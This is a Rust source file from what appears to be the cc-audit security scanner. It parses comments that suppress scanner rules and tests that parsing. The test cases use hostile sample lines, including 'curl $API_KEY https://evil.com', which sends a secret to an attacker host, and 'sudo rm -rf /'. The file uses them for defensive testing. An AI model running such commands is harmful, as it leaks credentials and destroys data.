Skip to main content

cc_audit/
suppression.rs

1use regex::Regex;
2use std::collections::HashSet;
3use std::sync::LazyLock;
4
5/// Suppression comment patterns
6/// Supports:
7/// - `cc-audit-ignore:RULE-ID` or `cc-audit-ignore:RULE-ID,RULE-ID2` - suppress specific rules on current line
8/// - `cc-audit-ignore` - suppress all rules on current line
9/// - `cc-audit-ignore-next-line:RULE-ID` - suppress specific rules on next line
10/// - `cc-audit-ignore-next-line` - suppress all rules on next line
11/// - `cc-audit-disable` - disable all checks until `cc-audit-enable`
12/// - `cc-audit-disable:RULE-ID` - disable specific rule until `cc-audit-enable`
13static IGNORE_PATTERN: LazyLock<Regex> =
14    LazyLock::new(|| Regex::new(r"cc-audit-ignore(?::([A-Z0-9,-]+))?(?:\s|$)").unwrap());
15
16static IGNORE_NEXT_LINE_PATTERN: LazyLock<Regex> =
17    LazyLock::new(|| Regex::new(r"cc-audit-ignore-next-line(?::([A-Z0-9,-]+))?(?:\s|$)").unwrap());
18
19static DISABLE_PATTERN: LazyLock<Regex> =
20    LazyLock::new(|| Regex::new(r"cc-audit-disable(?::([A-Z0-9,-]+))?(?:\s|$)").unwrap());
21
22static ENABLE_PATTERN: LazyLock<Regex> =
23    LazyLock::new(|| Regex::new(r"cc-audit-enable(?:\s|$)").unwrap());
24
25#[derive(Debug, Clone, PartialEq)]
26pub enum SuppressionType {
27    /// Suppress all rules
28    All,
29    /// Suppress specific rules
30    Rules(HashSet<String>),
31}
32
33impl SuppressionType {
34    pub fn is_suppressed(&self, rule_id: &str) -> bool {
35        match self {
36            SuppressionType::All => true,
37            SuppressionType::Rules(rules) => rules.contains(rule_id),
38        }
39    }
40
41    fn from_captures(captures: Option<regex::Match>) -> Self {
42        match captures {
43            Some(m) => {
44                let rules: HashSet<String> = m
45                    .as_str()
46                    .split(',')
47                    .map(|s| s.trim().to_string())
48                    .filter(|s| !s.is_empty())
49                    .collect();
50                if rules.is_empty() {
51                    SuppressionType::All
52                } else {
53                    SuppressionType::Rules(rules)
54                }
55            }
56            None => SuppressionType::All,
57        }
58    }
59}
60
61/// Manages suppression state while scanning content
62#[derive(Debug, Default)]
63pub struct SuppressionManager {
64    /// Rules disabled for all subsequent lines (until enable)
65    disabled: Option<SuppressionType>,
66    /// Rules to suppress for the next line only
67    suppress_next_line: Option<SuppressionType>,
68}
69
70impl SuppressionManager {
71    pub fn new() -> Self {
72        Self::default()
73    }
74
75    /// Process a line and update suppression state.
76    /// Returns the suppression type for this line (if any).
77    pub fn process_line(&mut self, line: &str) -> Option<SuppressionType> {
78        // Check for enable (resets disabled state)
79        if ENABLE_PATTERN.is_match(line) {
80            self.disabled = None;
81        }
82
83        // Check for disable
84        if let Some(caps) = DISABLE_PATTERN.captures(line) {
85            self.disabled = Some(SuppressionType::from_captures(caps.get(1)));
86        }
87
88        // First, check if there's a pending next-line suppression from the previous line
89        let pending_next_line = self.suppress_next_line.take();
90
91        // Check for ignore-next-line on current line (for the NEXT line)
92        if let Some(caps) = IGNORE_NEXT_LINE_PATTERN.captures(line) {
93            self.suppress_next_line = Some(SuppressionType::from_captures(caps.get(1)));
94        }
95
96        // Determine current line suppression
97        // Priority: pending next-line > inline ignore > disabled block
98        if let Some(suppression) = pending_next_line {
99            return Some(suppression);
100        }
101
102        // Check for inline ignore on this line
103        if let Some(caps) = IGNORE_PATTERN.captures(line) {
104            // Make sure it's not ignore-next-line
105            if !IGNORE_NEXT_LINE_PATTERN.is_match(line) {
106                return Some(SuppressionType::from_captures(caps.get(1)));
107            }
108        }
109
110        // Check if we're in a disabled block
111        self.disabled.clone()
112    }
113
114    /// Check if a specific rule is suppressed for the current line
115    pub fn is_rule_suppressed(&self, rule_id: &str, line: &str) -> bool {
116        // Check inline ignore
117        if let Some(caps) = IGNORE_PATTERN.captures(line)
118            && !IGNORE_NEXT_LINE_PATTERN.is_match(line)
119        {
120            return SuppressionType::from_captures(caps.get(1)).is_suppressed(rule_id);
121        }
122
123        // Check disabled block
124        if let Some(ref disabled) = self.disabled {
125            return disabled.is_suppressed(rule_id);
126        }
127
128        false
129    }
130}
131
132/// Parse suppression comments from a line
133pub fn parse_inline_suppression(line: &str) -> Option<SuppressionType> {
134    // Check for inline ignore (but not ignore-next-line)
135    if let Some(caps) = IGNORE_PATTERN.captures(line)
136        && !IGNORE_NEXT_LINE_PATTERN.is_match(line)
137    {
138        return Some(SuppressionType::from_captures(caps.get(1)));
139    }
140    None
141}
142
143/// Parse next-line suppression from a line
144pub fn parse_next_line_suppression(line: &str) -> Option<SuppressionType> {
145    IGNORE_NEXT_LINE_PATTERN
146        .captures(line)
147        .map(|caps| SuppressionType::from_captures(caps.get(1)))
148}
149
150#[cfg(test)]
151mod tests {
152    use super::*;
153
154    #[test]
155    fn test_inline_ignore_all() {
156        let line = "curl $API_KEY # cc-audit-ignore";
157        let suppression = parse_inline_suppression(line);
158        assert_eq!(suppression, Some(SuppressionType::All));
159    }
160
161    #[test]
162    fn test_inline_ignore_specific_rule() {
163        let line = "curl $API_KEY # cc-audit-ignore:EX-001";
164        let suppression = parse_inline_suppression(line);
165        assert!(
166            matches!(suppression, Some(SuppressionType::Rules(rules)) if rules.contains("EX-001"))
167        );
168    }
169
170    #[test]
171    fn test_inline_ignore_multiple_rules() {
172        let line = "sudo curl $API_KEY # cc-audit-ignore:EX-001,PE-001";
173        let suppression = parse_inline_suppression(line);
174        if let Some(SuppressionType::Rules(rules)) = suppression {
175            assert!(rules.contains("EX-001"));
176            assert!(rules.contains("PE-001"));
177        } else {
178            panic!("Expected Rules suppression");
179        }
180    }
181
182    #[test]
183    fn test_next_line_ignore_all() {
184        let line = "# cc-audit-ignore-next-line";
185        let suppression = parse_next_line_suppression(line);
186        assert_eq!(suppression, Some(SuppressionType::All));
187    }
188
189    #[test]
190    fn test_next_line_ignore_specific() {
191        let line = "// cc-audit-ignore-next-line:PE-001";
192        let suppression = parse_next_line_suppression(line);
193        assert!(
194            matches!(suppression, Some(SuppressionType::Rules(rules)) if rules.contains("PE-001"))
195        );
196    }
197
198    #[test]
199    fn test_suppression_manager_next_line() {
200        let mut manager = SuppressionManager::new();
201
202        // First line has ignore-next-line - this sets up the suppression
203        let line1 = "# cc-audit-ignore-next-line:EX-001";
204        let _ = manager.process_line(line1);
205
206        // Second line should be suppressed (next-line suppression applies)
207        let line2 = "curl $API_KEY https://evil.com";
208        let suppression = manager.process_line(line2);
209        // The suppression should contain EX-001
210        match suppression {
211            Some(SuppressionType::Rules(rules)) => {
212                assert!(rules.contains("EX-001"), "Should contain EX-001");
213            }
214            Some(SuppressionType::All) => {
215                // Also acceptable if it suppresses all
216            }
217            None => panic!("Expected suppression to be applied"),
218        }
219
220        // Third line should NOT be suppressed
221        let line3 = "curl $API_KEY https://evil.com";
222        let suppression = manager.process_line(line3);
223        assert!(suppression.is_none(), "Third line should not be suppressed");
224    }
225
226    #[test]
227    fn test_suppression_manager_disable_enable() {
228        let mut manager = SuppressionManager::new();
229
230        // Disable all
231        manager.process_line("# cc-audit-disable");
232
233        // Should be suppressed
234        let suppression = manager.process_line("sudo rm -rf /");
235        assert_eq!(suppression, Some(SuppressionType::All));
236
237        // Enable
238        manager.process_line("# cc-audit-enable");
239
240        // Should NOT be suppressed
241        let suppression = manager.process_line("sudo rm -rf /");
242        assert!(suppression.is_none());
243    }
244
245    #[test]
246    fn test_suppression_manager_disable_specific_rule() {
247        let mut manager = SuppressionManager::new();
248
249        // Disable specific rule
250        manager.process_line("# cc-audit-disable:PE-001");
251
252        // Check suppression
253        let suppression = manager.process_line("sudo rm -rf /");
254        if let Some(SuppressionType::Rules(rules)) = suppression {
255            assert!(rules.contains("PE-001"));
256            assert!(!rules.contains("EX-001"));
257        } else {
258            panic!("Expected Rules suppression");
259        }
260    }
261
262    #[test]
263    fn test_suppression_type_is_suppressed() {
264        let all = SuppressionType::All;
265        assert!(all.is_suppressed("EX-001"));
266        assert!(all.is_suppressed("PE-001"));
267
268        let mut rules = HashSet::new();
269        rules.insert("EX-001".to_string());
270        let specific = SuppressionType::Rules(rules);
271        assert!(specific.is_suppressed("EX-001"));
272        assert!(!specific.is_suppressed("PE-001"));
273    }
274
275    #[test]
276    fn test_no_suppression() {
277        let line = "curl https://example.com";
278        let suppression = parse_inline_suppression(line);
279        assert!(suppression.is_none());
280    }
281
282    #[test]
283    fn test_ignore_does_not_match_next_line() {
284        let line = "# cc-audit-ignore-next-line:EX-001";
285        // inline suppression should NOT match ignore-next-line
286        let inline = parse_inline_suppression(line);
287        assert!(inline.is_none());
288
289        // but next-line suppression SHOULD match
290        let next_line = parse_next_line_suppression(line);
291        assert!(next_line.is_some());
292    }
293
294    #[test]
295    fn test_various_comment_styles() {
296        // Shell/Python style
297        assert!(parse_inline_suppression("curl $KEY # cc-audit-ignore").is_some());
298
299        // JavaScript/Rust style
300        assert!(parse_inline_suppression("fetch(url) // cc-audit-ignore").is_some());
301
302        // With explanation
303        assert!(
304            parse_inline_suppression("sudo apt update # cc-audit-ignore:PE-001 - legitimate use")
305                .is_some()
306        );
307    }
308
309    #[test]
310    fn test_suppression_with_spaces() {
311        // Test without spaces (standard format)
312        let line = "curl $KEY # cc-audit-ignore:EX-001,PE-001";
313        let suppression = parse_inline_suppression(line);
314        if let Some(SuppressionType::Rules(rules)) = suppression {
315            assert!(rules.contains("EX-001"), "Should contain EX-001");
316            assert!(rules.contains("PE-001"), "Should contain PE-001");
317        } else {
318            panic!("Expected Rules suppression");
319        }
320    }
321
322    #[test]
323    fn test_is_rule_suppressed_inline() {
324        let manager = SuppressionManager::new();
325        let line = "curl $API_KEY # cc-audit-ignore:EX-001";
326
327        assert!(manager.is_rule_suppressed("EX-001", line));
328        assert!(!manager.is_rule_suppressed("PE-001", line));
329    }
330
331    #[test]
332    fn test_is_rule_suppressed_all() {
333        let manager = SuppressionManager::new();
334        let line = "curl $API_KEY # cc-audit-ignore";
335
336        assert!(manager.is_rule_suppressed("EX-001", line));
337        assert!(manager.is_rule_suppressed("PE-001", line));
338    }
339
340    #[test]
341    fn test_is_rule_suppressed_disabled_block() {
342        let mut manager = SuppressionManager::new();
343        manager.process_line("# cc-audit-disable:PE-001");
344
345        let line = "sudo rm -rf /";
346        assert!(manager.is_rule_suppressed("PE-001", line));
347        assert!(!manager.is_rule_suppressed("EX-001", line));
348    }
349
350    #[test]
351    fn test_is_rule_suppressed_disabled_all() {
352        let mut manager = SuppressionManager::new();
353        manager.process_line("# cc-audit-disable");
354
355        let line = "sudo rm -rf /";
356        assert!(manager.is_rule_suppressed("PE-001", line));
357        assert!(manager.is_rule_suppressed("EX-001", line));
358    }
359
360    #[test]
361    fn test_is_rule_suppressed_not_suppressed() {
362        let manager = SuppressionManager::new();
363        let line = "curl https://example.com";
364
365        assert!(!manager.is_rule_suppressed("EX-001", line));
366        assert!(!manager.is_rule_suppressed("PE-001", line));
367    }
368
369    #[test]
370    fn test_is_rule_suppressed_ignore_next_line_does_not_suppress_current() {
371        let manager = SuppressionManager::new();
372        let line = "# cc-audit-ignore-next-line:EX-001";
373
374        // ignore-next-line should NOT suppress the current line
375        assert!(!manager.is_rule_suppressed("EX-001", line));
376    }
377
378    #[test]
379    fn test_suppression_manager_inline_has_priority_over_disabled() {
380        let mut manager = SuppressionManager::new();
381
382        // Disable specific rule
383        manager.process_line("# cc-audit-disable:PE-001");
384
385        // Inline ignore should also work
386        let line = "curl $API_KEY # cc-audit-ignore:EX-001";
387        let suppression = manager.process_line(line);
388
389        // Should be EX-001 from inline, not PE-001 from disabled
390        if let Some(SuppressionType::Rules(rules)) = suppression {
391            assert!(rules.contains("EX-001"));
392        } else {
393            panic!("Expected Rules suppression");
394        }
395    }
396
397    #[test]
398    fn test_suppression_type_from_captures_empty_string() {
399        // When captured group is empty, should return All
400        let suppression = SuppressionType::from_captures(None);
401        assert_eq!(suppression, SuppressionType::All);
402    }
403
404    #[test]
405    fn test_disable_and_enable_sequence() {
406        let mut manager = SuppressionManager::new();
407
408        // Initially not suppressed
409        assert!(manager.process_line("curl $API_KEY").is_none());
410
411        // Disable
412        manager.process_line("# cc-audit-disable");
413
414        // Now suppressed
415        assert!(manager.process_line("curl $API_KEY").is_some());
416
417        // Enable
418        manager.process_line("# cc-audit-enable");
419
420        // No longer suppressed
421        assert!(manager.process_line("curl $API_KEY").is_none());
422    }
423
424    #[test]
425    fn test_suppression_manager_default() {
426        let manager = SuppressionManager::default();
427        let line = "curl https://example.com";
428        assert!(!manager.is_rule_suppressed("EX-001", line));
429    }
430
431    #[test]
432    fn test_next_line_suppression_only_applies_once() {
433        let mut manager = SuppressionManager::new();
434
435        // Set up next-line suppression
436        manager.process_line("# cc-audit-ignore-next-line");
437
438        // First subsequent line is suppressed
439        let suppression1 = manager.process_line("curl $API_KEY");
440        assert!(suppression1.is_some());
441
442        // Second subsequent line is NOT suppressed
443        let suppression2 = manager.process_line("curl $API_KEY");
444        assert!(suppression2.is_none());
445    }
446
447    #[test]
448    fn test_suppression_type_debug() {
449        let all = SuppressionType::All;
450        assert!(format!("{:?}", all).contains("All"));
451
452        let mut rules = HashSet::new();
453        rules.insert("EX-001".to_string());
454        let specific = SuppressionType::Rules(rules);
455        assert!(format!("{:?}", specific).contains("Rules"));
456    }
457
458    #[test]
459    fn test_suppression_type_clone() {
460        let all = SuppressionType::All;
461        let cloned = all.clone();
462        assert_eq!(all, cloned);
463
464        let mut rules = HashSet::new();
465        rules.insert("EX-001".to_string());
466        let specific = SuppressionType::Rules(rules);
467        let cloned_specific = specific.clone();
468        assert_eq!(specific, cloned_specific);
469    }
470
471    #[test]
472    fn test_suppression_manager_debug() {
473        let manager = SuppressionManager::new();
474        assert!(format!("{:?}", manager).contains("SuppressionManager"));
475    }
476
477    #[test]
478    fn test_parse_next_line_suppression_no_match() {
479        let line = "curl https://example.com";
480        assert!(parse_next_line_suppression(line).is_none());
481    }
482
483    #[test]
484    fn test_process_line_with_inline_ignore() {
485        let mut manager = SuppressionManager::new();
486        let line = "curl $API_KEY # cc-audit-ignore:EX-001";
487        let suppression = manager.process_line(line);
488
489        // Should get inline suppression
490        assert!(matches!(suppression, Some(SuppressionType::Rules(ref r)) if r.contains("EX-001")));
491    }
492
493    #[test]
494    fn test_process_line_with_inline_ignore_all() {
495        let mut manager = SuppressionManager::new();
496        let line = "curl $API_KEY # cc-audit-ignore";
497        let suppression = manager.process_line(line);
498
499        // Should get All suppression
500        assert_eq!(suppression, Some(SuppressionType::All));
501    }
502
503    #[test]
504    fn test_is_rule_suppressed_with_inline_all() {
505        let manager = SuppressionManager::new();
506        let line = "curl $API_KEY # cc-audit-ignore";
507
508        // All rules should be suppressed
509        assert!(manager.is_rule_suppressed("EX-001", line));
510        assert!(manager.is_rule_suppressed("PE-001", line));
511        assert!(manager.is_rule_suppressed("ANY-RULE", line));
512    }
513
514    #[test]
515    fn test_suppression_type_rules_not_contains() {
516        let mut rules = HashSet::new();
517        rules.insert("EX-001".to_string());
518        let specific = SuppressionType::Rules(rules);
519
520        // Test that a rule not in the set is not suppressed
521        assert!(!specific.is_suppressed("UNKNOWN-RULE"));
522    }
523
524    #[test]
525    fn test_parse_inline_suppression_returns_rules() {
526        let line = "curl $KEY # cc-audit-ignore:EX-001";
527        let suppression = parse_inline_suppression(line);
528
529        match suppression {
530            Some(SuppressionType::Rules(rules)) => {
531                assert!(rules.contains("EX-001"));
532                assert_eq!(rules.len(), 1);
533            }
534            _ => panic!("Expected Rules suppression with one rule"),
535        }
536    }
537
538    #[test]
539    fn test_process_line_ignore_next_does_not_suppress_current() {
540        let mut manager = SuppressionManager::new();
541
542        // This line sets up next-line suppression
543        let line = "# cc-audit-ignore-next-line:EX-001";
544        let suppression = manager.process_line(line);
545
546        // The current line should NOT be suppressed (suppression is for next line)
547        assert!(suppression.is_none());
548    }
549
550    #[test]
551    fn test_suppression_type_from_captures_commas_only() {
552        // When rules list contains only commas, splitting results in empty strings
553        // The regex [A-Z0-9,-]+ allows commas, so ",,," matches
554        if let Some(caps) = IGNORE_PATTERN.captures("test # cc-audit-ignore:,,,") {
555            let suppression = SuppressionType::from_captures(caps.get(1));
556            // Commas-only rules should become All after filtering empty strings
557            assert_eq!(suppression, SuppressionType::All);
558        } else {
559            panic!("Expected pattern to match");
560        }
561    }
562
563    #[test]
564    fn test_is_rule_suppressed_with_disabled_block() {
565        let mut manager = SuppressionManager::new();
566
567        // Disable a specific rule
568        manager.process_line("# cc-audit-disable:PE-001");
569
570        // Check is_rule_suppressed with the disabled rule (without inline comment)
571        assert!(manager.is_rule_suppressed("PE-001", "sudo rm -rf /"));
572        assert!(!manager.is_rule_suppressed("EX-001", "sudo rm -rf /"));
573    }
574
575    #[test]
576    fn test_parse_inline_suppression_with_ignore_next_line_returns_none() {
577        // ignore-next-line should not be matched by inline suppression
578        let line = "# cc-audit-ignore-next-line:EX-001";
579        let suppression = parse_inline_suppression(line);
580        assert!(suppression.is_none());
581    }
582
583    #[test]
584    fn test_process_line_with_ignore_next_line_pattern_does_not_inline_suppress() {
585        let mut manager = SuppressionManager::new();
586
587        // A line that contains "cc-audit-ignore-next-line" should NOT trigger inline suppression
588        // IGNORE_PATTERN matches "cc-audit-ignore" within "cc-audit-ignore-next-line"
589        // but we check and skip it
590        let line = "# cc-audit-ignore-next-line";
591        let suppression = manager.process_line(line);
592
593        // Should return None for the current line (it's setting up next-line suppression)
594        assert!(suppression.is_none());
595    }
596
597    #[test]
598    fn test_is_rule_suppressed_with_ignore_next_line_pattern_returns_false() {
599        let manager = SuppressionManager::new();
600
601        // A line that contains "cc-audit-ignore-next-line" should NOT be treated as inline suppression
602        let line = "# cc-audit-ignore-next-line:EX-001";
603
604        // is_rule_suppressed should return false because ignore-next-line is not inline suppression
605        assert!(!manager.is_rule_suppressed("EX-001", line));
606        assert!(!manager.is_rule_suppressed("PE-001", line));
607    }
608
609    #[test]
610    fn test_process_line_inline_ignore_without_next_line() {
611        let mut manager = SuppressionManager::new();
612
613        // Inline ignore (not ignore-next-line) should return Some
614        let line = "sudo rm -rf / # cc-audit-ignore";
615        let suppression = manager.process_line(line);
616
617        // Should return SuppressionType::All for inline ignore without rules
618        assert!(suppression.is_some());
619        assert!(matches!(suppression, Some(SuppressionType::All)));
620    }
621
622    #[test]
623    fn test_process_line_inline_ignore_with_specific_rules() {
624        let mut manager = SuppressionManager::new();
625
626        // Inline ignore with specific rules
627        let line = "sudo rm -rf / # cc-audit-ignore:PE-001,PE-002";
628        let suppression = manager.process_line(line);
629
630        // Should return SuppressionType::Rules for inline ignore with rules
631        assert!(suppression.is_some());
632        if let Some(SuppressionType::Rules(rules)) = suppression {
633            assert!(rules.iter().any(|r| r == "PE-001"));
634            assert!(rules.iter().any(|r| r == "PE-002"));
635        } else {
636            panic!("Expected SuppressionType::Rules");
637        }
638    }
639}